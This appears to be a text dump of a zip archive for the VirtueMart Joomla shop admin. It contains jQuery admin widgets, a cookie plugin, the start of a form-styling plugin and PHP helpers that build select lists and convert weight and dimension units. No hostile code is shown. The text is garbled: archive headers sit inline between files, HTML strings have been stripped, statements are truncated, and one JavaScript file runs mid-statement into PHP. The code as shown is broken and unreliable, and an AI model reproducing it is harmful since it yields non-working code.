dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $().removeClass("vmicon-16-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onBeforeRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }); })(jQuery); (function ($) { var methods = { tabs:function (cookie) { var tabscount = this.find('div.tabs').length; if ($.cookie(cookie) == null || cookie == "product0" || tabscount == 1) var idx = 0; else var idx = $.cookie(cookie); if (idx == null) idx = 0; var options = { path:'/', expires:2}, list = '
      '; var tabswidth = 100 / tabscount; this.find('div.tabs').each( function (i) { list += '
    • ' + $(this).attr('title') + '
    • '; $(this).removeAttr('title'); } ); this.prepend(list + '
    '); this.children('div').hide(); // select & open menu var li = $('#tabs li'), div = this.children('div'); li.eq(idx).addClass('current'); div.eq(idx).slideDown(1000); li.click( function () { if ($(this).not(".current")) { var idx = li.index(this); oldIndex = $(this).addClass("current").siblings('li.current').removeClass("current").index(); if (oldIndex !== -1) { if (cookie !== "") $.cookie(cookie, idx, options); div.eq(idx).slideDown(0); div.eq(oldIndex).slideUp(0); } } } ); return this; }, accordeon:function () { var idx = $.cookie('accordeon'), options = { path:'/', expires:2}, div = this.children('div') , h3 = this.children('h3'), A = this.find('.menu-list a'); if (idx == null) idx = 0; div.hide(); h3.eq(idx).addClass('current'); div.eq(idx).show(); h3.click( function () { var menu = $(this); if (menu.not(".current")) { menu.siblings('h3.current').removeClass("current").next().slideUp(200); menu.addClass("current").next().slideDown(200); $.cookie('accordeon', h3.index(this), options); } } ); A.click( function () { $.cookie('vmapply', '0', options); } ); }, media:function (mediatype, total) { var page = 0, max = 24, container = jQuery(this); var pagetotal = Math.ceil(total / max); var cache = new Array(); var formatTitle = function (title, currentArray, currentIndex, currentOpts) { var pagination = '' , pagetotal = total / max; if (pagetotal > 0) { pagination = '<<<'; for (i = 0; i < pagetotal; i++) { pagination += '' + (i + 1) + ''; } pagination += '>>>'; } return '
    ' + (title && title.length ? '' + title + '' : '' ) + ' ' + pagination + '
    '; } jQuery("#fancybox-title").delegate(".media-pagination span", "click", function (event) { var newPage = $(this).text(); display(newPage); event.preventDefault(); }); container.delegate("a.vm_thumb", "click", function (event) { jQuery.fancybox({ "type":"image", "titlePosition":"inside", "title":this.title, "href":this.href }); event.preventDefault(); }); jQuery("#media-dialog").delegate(".vm_thumb_image", "click", function (event) { event.preventDefault(); var id = $(this).find('input').val(), ok = 0; var inputArray = new Array(); $('#ImagesContainer input:hidden').each( function () { inputArray.push($(this).val()) } ); if ($.inArray(id, inputArray) == -1) { that = jQuery(this); jQuery(this).clone().appendTo(container).unbind("click").append('
    '); that.hide().fadeIn(); } }); jQuery("#admin-ui-tabs").delegate("div.vmicon-16-remove", "click", function () { jQuery(this).closest(".vm_thumb_image").fadeOut("500", function () { jQuery(this).remove(); }); }); jQuery("#admin-ui-tabs").delegate("span.vmicon-16-remove", "click", function () { jQuery(this).closest(".removable").fadeOut("500", function () { jQuery(this).remove() }); }); jQuery("#addnewselectimage2").fancybox({ "hideOnContentClick":false, "autoDimensions":true, "titlePosition":"inside", "title":"Media list", "titleFormat":formatTitle, "onComplete":function () { $('.media-pagination').children().eq(page + 3).addClass('media-page-selected'); } }); container.delegate(".edit-24-grey", "click", function () { var data = jQuery(this).parent().find("input").val(); jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&virtuemart_media_id=" + data, function (datas, textStatus) { if (datas.msg == "OK") { jQuery("#vm_display_image").attr("src", datas.file_root + datas.file_url); jQuery("#vm_display_image").attr("alt", datas.file_title); jQuery("#file_title").html(datas.file_title); var lang = datas.file_lang.split(','); jQuery("#vmlangimg").val(lang).trigger("liszt:updated"); if (datas.published == 1) jQuery("#adminForm [name=media_published]").attr('checked', true); else jQuery("#adminForm [name=media_published]").attr('checked', false); if (datas.file_is_downloadable == 0) { jQuery("#media_rolesfile_is_displayable").attr('checked', true); //jQuery("#adminForm [name=media_roles]").filter("value='file_is_downloadable'").attr('checked', false); } else { //jQuery("#adminForm [name=media_roles]").filter("value='file_is_displayable'").attr('checked', false); jQuery("#media_rolesfile_is_downloadable").attr('checked', true); } jQuery("#adminForm [name=file_title]").val(datas.file_title); jQuery("#adminForm [name=file_description]").val(datas.file_description); jQuery("#adminForm [name=file_meta]").val(datas.file_meta); jQuery("#adminForm [name=file_url]").val(datas.file_url); jQuery("#adminForm [name=file_url_thumb]").val(datas.file_url_thumb); jQuery("[name=active_media_id]").val(datas.virtuemart_media_id); if (datas.file_url_thumb !== "undefined") { jQuery("#vm_thumb_image").attr("src", datas.file_root + datas.file_url_thumb); } else { jQuery("#vm_thumb_image").attr("src", ""); } } else jQuery("#file_title").html(datas.msg); }); }); var display = function (num) { if (typeof this.page == "undefined") { this.oldPage = this.page = 0; } if (typeof display.cache == "undefined") { display.cache = new Array(); } switch (num) { case '<': if (this.page > 0) --this.page; else return; break; case '>': if (this.page < pagetotal - 1) ++this.page; else return; break; case '<<': this.page = 0; break; case '>>': this.page = pagetotal - 1; break; default : this.page = num - 1; break; } if (this.oldPage != this.page) { //var cache = this.cache ; var start = this.page; if (typeof display.cache[start] == "undefined") { jQuery.getJSON("index.php?option=com_virtuemart&view=media&task=viewJson&format=json&mediatype=" + mediatype + "&start=" + start, function (data) { if (data.imageList != "ERROR") { display.cache[start] = data.imageList; jQuery("#media-dialog").html(display.cache[start]); jQuery(".page").text("Page(s) " + (start + 1)); } else { jQuery(".page").text("No more results : Page(s) " + (start + 1)); } } ); } else jQuery("#media-dialog").html(display.cache[start]); page = this.oldPage = this.page; $('.media-pagination').children().removeClass('media-page-selected'); $('.media-pagination').children().eq(start + 3).addClass('media-page-selected'); } } }, tips:function (image) { var xOffset = -20; // x distance from mouse var yOffset = 10; // y distance from mouse tip = this; tip.unbind().hover( function (e) { tip.t = this.title; this.title = ''; tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $('body').append('

    ' + $(this).html() + '
    ' + tip.t + '

    '); $('#vtip #vtipArrow').attr("src", image); $('#vtip').css("top", tip.top + "px").css("left", tip.left + "px").fadeIn("slow"); }, function () { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mousemove( function (e) { tip.top = (e.pageY + yOffset); tip.left = (e.pageX + xOffset); $("#vtip").css("top", tip.top + "px").css("left", tip.left + "px"); } ).mousedown( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ).mouseup( function (e) { this.title = tip.t; $("#vtip").fadeOut("slow").remove(); } ); }, toggle:function () { var options = { path:'/', expires:2}; if ($.cookie('vmmenu')) { var status = $.cookie('vmmenu'); if (status == 'hide') { this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); } } this.click(function () { $this = $(this); if ($this.hasClass('vmicon-show')) { $this.removeClass('vmicon-show').addClass('vmicon-hide'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'hide', options); } else { $this.removeClass('vmicon-hide').addClass('vmicon-show'); $('.menu-wrapper').toggle('slide'); $.cookie('vmmenu', 'show', options); } }); }, yydynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, dragHandleClass:".drag-handle", insertFadeSpeed:"slow", removeFadeSpeed:"fast", hideTableOnEmpty:true, onRowRemove:function () { }, onRowClone:function () { }, onRowAdd:function () { }, onTableEmpty:function () { }, onRowReorder:function () { } }; options = $.extend(defaults, options); var cloneRow = function (btn) { var clonedRow = $(btn).closest('tr').clone(); var tbod = $(btn).closest('tbody'); insertRow(clonedRow, tbod); options.onRowClone(); } var insertRow = function (clonedRow, tbod) { var numRows = $(tbod).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(tbod).parents("table").first().show(); } $(clonedRow).find('*').andSelf().filter('[id]').each(function () { //change to something else so we don't have ids with the same name // this.id += "_" + numRows; }); //finally append new row to end of table $(tbod).append(clonedRow); bindActions(clonedRow); $(tbod).children("tr:last").hide().fadeIn(options.insertFadeSpeed); } var removeRow = function (btn) { var tbod = $(btn).parents("tbody:first"); var numRows = $(tbod).children("tr").length; if (numRows > 1 || options.lastRowRemovable === true) { var trToRemove = $(btn).parents("tr:first"); $(trToRemove).fadeOut(options.removeFadeSpeed, function () { $(trToRemove).remove(); options.onRowRemove(); if (numRows == 1) { if (options.hideTableOnEmpty) { $(tbod).parents('table').first().hide(); } // we want to remove the class remove $(".price-remove > span").removeClass("vmicon-16-price-remove"); options.onTableEmpty(); } }); } } var bindClick = function (elem, fn) { $(elem).click(fn); } var bindCloneLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); cloneRow(btn); return false; }); } var bindRemoveLink = function (lnk) { bindClick(lnk, function () { var btn = $(this); removeRow(btn); return false; }); } var bindActions = function (obj) { obj.find(options.removeClass).each(function () { bindRemoveLink($(this)); }); obj.find(options.cloneClass).each(function () { bindCloneLink($(this)); }); } return this.each(function () { //Sanity check to make sure we are dealing with a single case if (this.nodeName.toLowerCase() == 'table') { var table = $(this); var tbody = $(table).children("tbody").first(); if (options.orderable && jQuery().sortable) { $(tbody).sortable({ handle:options.dragHandleClass, helper:function (e, ui) { ui.children().each(function () { $(this).width($(this).width()); }); return ui; }, items:"tr", update:function (event, ui) { options.onRowReorder(); } }); } $(table).find(options.addRowTemplateId).each(function () { $(this).removeAttr("id"); var tmpl = $(this); tmpl.remove(); bindClick($(options.addRowButtonId), function () { //options.onRowAdd(); var newTr = tmpl.clone(); insertRow(newTr, tbody); options.onRowAdd(); return false; }); }); bindActions(table); var numRows = $(tbody).children("tr").length; if (options.hideTableOnEmpty && numRows == 0) { $(table).hide(); } } }); } }; $.fn.vm2admin = function (method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on Vm2 admin jQuery library'); } }; })(jQuery); // load defaut scripts jQuery.noConflict(); PKB\sassets/js/jquery.coookie.jsnuW+A/** * jQuery Cookie plugin * * Copyright (c) 2010 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ jQuery.cookie = function (key, value, options) { // key and at least value given, set cookie... if (arguments.length > 1 && String(value) !== "[object Object]") { options = jQuery.extend({}, options); if (value === null || value === undefined) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = String(value); return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; PKB\ ׶88assets/js/jquery.jqtransform.jsnuW+A/* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug in ff if click on select (overflow=hidden) * No need any more preloading !! * ******************************************** */ (function(jQuery){ var defaultOptions = {preloadImg:true}; var jqTransformImgPreloaded = false; var jqTransformPreloadHoverFocusImg = function(strImgUrl) { //guillemets to remove for ie strImgUrl = strImgUrl.replace(/^url\((.*)\)/,'jQuery1').replace(/^\"(.*)\"jQuery/,'jQuery1'); var imgHover = new Image(); imgHover.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-hover.jQuery1'); var imgFocus = new Image(); imgFocus.src = strImgUrl.replace(/\.([a-zA-Z]*)jQuery/,'-focus.jQuery1'); }; /*************************** Labels ***************************/ var jqTransformGetLabel = function(objfield){ var selfForm = jQuery(objfield.get(0).form); var oLabel = objfield.next(); if(!oLabel.is('label')) { oLabel = objfield.prev(); if(oLabel.is('label')){ var inputname = objfield.attr('id'); if(inputname){ oLabel = selfForm.find('label[for="'+inputname+'"]'); } } } if(oLabel.is('label')){return oLabel.css('cursor','pointer');} return false; }; /* Hide all open selects */ var jqTransformHideSelect = function(oTarget){ var ulVisible = jQuery('.jqTransformSelectWrapper ul:visible'); ulVisible.each(function(){ var oSelect = jQuery(this).parents(".jqTransformSelectWrapper:first").find("select").get(0); //do not hide if click on the label object associated to the select if( !(oTarget && oSelect.oLabel && oSelect.oLabel.get(0) == oTarget.get(0)) ){jQuery(this).hide();} }); }; /* Check for an external click */ var jqTransformCheckExternalClick = function(event) { if (jQuery(event.target).parents('.jqTransformSelectWrapper').length === 0) { jqTransformHideSelect(jQuery(event.target)); } }; /* Apply document listener */ var jqTransformAddDocumentListener = function (){ jQuery(document).mousedown(jqTransformCheckExternalClick); }; /* Add a new handler for the reset action */ var jqTransformReset = function(f){ var sel; jQuery('.jqTransformSelectWrapper select', f).each(function(){sel = (this.selectedIndex<0) ? 0 : this.selectedIndex; jQuery('ul', jQuery(this).parent()).each(function(){jQuery('a:eq('+ sel +')', this).click();});}); jQuery('a.jqTransformCheckbox, a.jqTransformRadio', f).removeClass('jqTransformChecked'); jQuery('input:checkbox, input:radio', f).each(function(){if(this.checked){jQuery('a', jQuery(this).parent()).addClass('jqTransformChecked');}}); }; /*************************** Buttons ***************************/ jQuery.fn.jqTransInputButton = function(){ return this.each(function(){ var newBtn = jQuery(' '; } /** * Builds an enlist for information (not chooseable) * * //TODO check for misuse by code injection * * @author Max Milbers * * @param $fieldnameXref datafield for the xreftable, where the name is stored * @param $tableXref xref table * @param $fieldIdXref datafield for the xreftable, where the id is stored * @param $idXref The id to query in the xref table * @param $fieldname the name of the datafield in the main table * @param $table main table * @param $fieldId the name of the field where the id is stored * @param $quantity The number of items in the list * @return List as String */ static public function renderGuiList ($fieldnameXref, $tableXref, $fieldIdXref, $idXref, $fieldname, $table, $fieldId, $view, $quantity = 4, $translate = 1) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); VmConfig::loadJLang('com_virtuemart_countries'); //Sanitize input $quantity = (int)$quantity; $db = JFactory::getDBO (); $q = 'SELECT ' . $db->getEscaped ($fieldnameXref) . ' FROM ' . $db->getEscaped ($tableXref) . ' WHERE ' . $db->getEscaped ($fieldIdXref) . ' = "' . (int)$idXref . '"'; $db->setQuery ($q); $tempArray = $db->loadResultArray (); if ($tempArray) { $links = ''; $ttip = ''; $i = 0; foreach ($tempArray as $value) { if ($translate) { $mainTable = $table . '_' . VMLANG; $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($mainTable) . ' JOIN ' . $table . ' using (`' . $fieldnameXref . '`) WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } else { $q = 'SELECT ' . $db->getEscaped ($fieldname) . ' FROM ' . $db->getEscaped ($table) . ' WHERE ' . $db->getEscaped ($fieldId) . ' = "' . (int)$value . '"'; } $db->setQuery ($q); $tmp = $db->loadResult (); if ($i < $quantity) { if ($view != 'user') { $cid = 'cid'; } else { $cid = 'virtuemart_user_id'; } $links .= JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=' . $view . '&task=edit&' . $cid . '[]=' . $value, FALSE), JText::_($tmp)) . ', '; } $ttip .= $tmp . ', '; // $list .= $tmp. ', '; $i++; //if($i==$quantity) break; } $links = substr ($links, 0, -2); $ttip = substr ($ttip, 0, -2); $list = '' . $links . ''; return $list; } else { return ''; } } /** * Creates a Drop Down list of available Creditcards * * @author Max Milbers * @deprecated */ static public function renderCreditCardList ($ccId, $multiple = FALSE) { $model = VmModel::getModel ('creditcard'); $creditcards = $model->getCreditCards (); $attrs = ''; $name = 'creditcard_name'; $idA = $id = 'virtuemart_creditcard_id'; if ($multiple) { $attrs = 'multiple="multiple"'; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($creditcards, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $creditcards, $idA, $attrs, $id, $name, $ccId); return $listHTML; } /** * Creates a Drop Down list of available Vendors * * @author Max Milbers * @access public * @param int $virtuemart_shoppergroup_id the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderVendorList ($vendorId, $multiple = FALSE) { $db = JFactory::getDBO (); if (Vmconfig::get ('multix', 'none') == 'none') { $vendorId = 1; $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; } else { if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { if (empty($vendorId)) { $vendorId = 1; //Dont delete this message, we need it later for multivendor //JError::raiseWarning(1,'renderVendorList $vendorId is empty, please correct your used model to automatically set the virtuemart_vendor_id to the logged Vendor'); } $q = 'SELECT `vendor_name` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id` = "' . (int)$vendorId . '" '; $db->setQuery ($q); $vendor = $db->loadResult (); $html = ''; // $html .=''; return $html; } else { $q = 'SELECT `virtuemart_vendor_id`,`vendor_name` FROM #__virtuemart_vendors'; $db->setQuery ($q); $vendors = $db->loadAssocList (); $attrs = ''; $name = 'vendor_name'; $idA = $id = 'virtuemart_vendor_id'; if ($multiple) { $attrs = ' multiple="multiple" '; $idA .= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), $id, $name); array_unshift ($vendors, $emptyOption); } $listHTML = JHTML::_ ('select.genericlist', $vendors, $idA, $attrs, $id, $name, $vendorId); return $listHTML; } } } /** * Creates a Drop Down list of available Shopper Groups * * @author Max Milbers * @access public * @param int $shopperGroupId the shopper group to pre-select * @param bool $multiple if the select list should allow multiple selections * @return string HTML select option list */ static public function renderShopperGroupList ($shopperGroupId = 0, $multiple = TRUE,$name='virtuemart_shoppergroup_id', $select_attribute='JOPTION_USE_DEFAULT' ) { $shopperModel = VmModel::getModel ('shoppergroup'); $shoppergrps = $shopperModel->getShopperGroups (FALSE, TRUE); $attrs = ''; //$name = 'shopper_group_name'; //$idA = $id = 'virtuemart_shoppergroup_id'; $attrs['class'] = 'vm-chzn-select'; if ($multiple) { $attrs['multiple'] = 'multiple'; $attrs['data-placeholder'] = vmText::_($select_attribute); //$attrs = 'multiple="multiple" data-placeholder="'.JText::_($select_attribute).'"'; if($name=='virtuemart_shoppergroup_id'){ $name.= '[]'; } } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ($select_attribute), 'virtuemart_shoppergroup_id', 'shopper_group_name'); array_unshift ($shoppergrps, $emptyOption); } //vmdebug('renderShopperGroupList',$name,$shoppergrps); $listHTML = JHTML::_ ('select.genericlist', $shoppergrps, $name, $attrs, 'virtuemart_shoppergroup_id', 'shopper_group_name', $shopperGroupId,false,true); return $listHTML; } /** * Renders the list of Manufacturers * * @author St. Kraft * Mod. St.Kraft 2013-02-24 Herstellerrabatt */ static public function renderManufacturerList ($manufacturerId = 0, $multiple = FALSE, $name = 'virtuemart_manufacturer_id') { $manufacturerModel = VmModel::getModel ('manufacturer'); $manufacturers = $manufacturerModel->getManufacturers (FALSE, TRUE); $attrs = ''; if ($multiple) { $attrs = 'multiple="multiple"'; if($name=='virtuemart_manufacturer_id') $name.= '[]'; } else { $emptyOption = JHTML::_ ('select.option', '', JText::_ ('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'virtuemart_manufacturer_id', 'mf_name'); array_unshift ($manufacturers, $emptyOption); } // vmdebug('renderManufacturerList',$name,$manufacturers); $listHTML = JHTML::_ ('select.genericlist', $manufacturers, $name, $attrs, 'virtuemart_manufacturer_id', 'mf_name', $manufacturerId); return $listHTML; } /** * Render a simple country list * * @author jseros, Max Milbers, Valérie Isaksen * * @param int $countryId Selected country id * @param boolean $multiple True if multiple selections are allowed (default: false) * @param mixed $_attrib string or array with additional attributes, * e.g. 'onchange=somefunction()' or array('onchange'=>'somefunction()') * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the ID attribute * @param string $_prefix Optional prefix for the formtag name attribute * @return string HTML containing the '; return $listHTML; } /** * Renders the list for the tax rules * * @author Max Milbers */ static function renderTaxList ($selected, $name = 'product_tax_id', $class = '') { if (!class_exists ('VirtueMartModelCalc')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'calc.php'); } $taxes = VirtueMartModelCalc::getTaxes (); $taxrates = array(); $taxrates[] = JHTML::_ ('select.option', '-1', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NONE'), $name); $taxrates[] = JHTML::_ ('select.option', '0', JText::_ ('COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL'), $name); foreach ($taxes as $tax) { $taxrates[] = JHTML::_ ('select.option', $tax->virtuemart_calc_id, $tax->calc_name, $name); } $listHTML = JHTML::_ ('Select.genericlist', $taxrates, $name, $class, $name, 'text', $selected); return $listHTML; } /** * Creates the chooseable template list * * @author Max Milbers, impleri * * @param string defaultText Text for the empty option * @param boolean defaultOption you can supress the empty otion setting this to false * return array of Template objects */ static public function renderTemplateList ($defaultText = 0, $defaultOption = TRUE) { if (empty($defaultText)) { $defaultText = JText::_ ('COM_VIRTUEMART_TEMPLATE_DEFAULT'); } $defaulttemplate = array(); if ($defaultOption) { $defaulttemplate[0] = new stdClass; $defaulttemplate[0]->name = $defaultText; $defaulttemplate[0]->directory = 0; $defaulttemplate[0]->value = 'default'; } if (JVM_VERSION === 1) { if (!class_exists ('TemplatesHelper')) { require (JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_templates' . DS . 'helpers' . DS . 'template.php'); } $jtemplates = TemplatesHelper::parseXMLTemplateFiles (JPATH_SITE . DS . 'templates'); foreach ($jtemplates as $key => $template) { $template->value = $template->name; } } else { $q = 'SELECT * FROM `#__template_styles` WHERE `client_id`="0"'; $db = JFactory::getDbo(); $db->setQuery($q); $jtemplates = $db->loadObjectList(); foreach ($jtemplates as $key => $template) { $template->name = $template->title; $template->value = $template->id; $template->directory = $template->template; } } return array_merge ($defaulttemplate, $jtemplates); } /** * Returns all the weight unit * * @author Valérie Isaksen */ static function getWeightUnit () { static $weigth_unit; if ($weigth_unit) { return $weigth_unit; } return $weigth_unit = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_KG') , 'G' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_G') , 'MG' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MG') , 'LB' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_LB') , 'OZ' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_ONCE') ); } /** * Renders the string for the * * @author Valérie Isaksen */ static function renderWeightUnit ($name) { $weigth_unit = self::getWeightUnit (); if (isset($weigth_unit[$name])) { return $weigth_unit[$name]; } else { return ''; } } /** * Renders the list for the Weight Unit * * @author Valérie Isaksen */ static function renderWeightUnitList ($name, $selected) { $weight_unit_default = self::getWeightUnit (); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; /* if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); return VmHTML::selectList($name, $selected, $weight_unit_default); * */ } static function renderUnitIsoList($name, $selected){ $weight_unit_default = array( 'KG' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_KG') , '100G' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100G') , 'M' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_M') , 'SM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_SM') , 'CUBM' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_CUBM') , 'L' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_L') , '100ML' => JText::_ ('COM_VIRTUEMART_UNIT_SYMBOL_100ML') ); foreach ($weight_unit_default as $key => $value) { $wu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $wu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * typo problem with the function name. We must keep the other one for compatibility purposes * @param $value * @param $from * @param $to */ static function convertWeigthUnit ($value, $from, $to) { return self::convertWeightUnit ($value, $from, $to); } /** * Convert Weight Unit * * @author Valérie Isaksen */ static function convertWeightUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = str_replace (',', '.', $value); if ($from === $to) { return $value; } $g = (float)$value; switch ($from) { case 'KG': $g = (float)(1000 * $value); break; case 'MG': $g = (float)($value / 1000); break; case 'LB': $g = (float)(453.59237 * $value); break; case 'OZ': $g = (float)(28.3495 * $value); break; } switch ($to) { case 'KG' : $value = (float)($g / 1000); break; case 'G' : $value = $g; break; case 'MG' : $value = (float)(1000 * $g); break; case 'LB' : $value = (float)($g / 453.59237); break; case 'OZ' : $value = (float)($g / 28.3495); break; } return $value; } /** * Convert Metric Unit * * @author Florian Voutzinos */ static function convertDimensionUnit ($value, $from, $to) { $from = strtoupper($from); $to = strtoupper($to); $value = (float)str_replace (',', '.', $value); if ($from === $to) { return $value; } $meter = (float)$value; // transform $value in meters switch ($from) { case 'CM': $meter = (float)(0.01 * $value); break; case 'MM': $meter = (float)(0.001 * $value); break; case 'YD' : $meter =(float) (0.9144 * $value); break; case 'FT' : $meter = (float)(0.3048 * $value); break; case 'IN' : $meter = (float)(0.0254 * $value); break; } switch ($to) { case 'M' : $value = $meter; break; case 'CM': $value = (float)($meter / 0.01); break; case 'MM': $value = (float)($meter / 0.001); break; case 'YD' : $value =(float) ($meter / 0.9144); break; case 'FT' : $value = (float)($meter / 0.3048); break; case 'IN' : $value = (float)($meter / 0.0254); break; } return $value; } /** * Renders the list for the Length, Width, Height Unit * * @author Valérie Isaksen */ static function renderLWHUnitList ($name, $selected) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $lwh_unit_default = array('M' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_M') , 'CM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_CM') , 'MM' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_MM') , 'YD' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_YARD') , 'FT' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_FOOT') , 'IN' => JText::_ ('COM_VIRTUEMART_UNIT_NAME_INCH') ); foreach ($lwh_unit_default as $key => $value) { $lu_list[] = JHTML::_ ('select.option', $key, $value, $name); } $listHTML = JHTML::_ ('Select.genericlist', $lu_list, $name, '', $name, 'text', $selected); return $listHTML; } /** * Writes a line for the price configuration * * @author Max Milberes * @param string $name * @param string $langkey */ static function writePriceConfigLine ($obj, $name, $langkey) { if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $html = ' 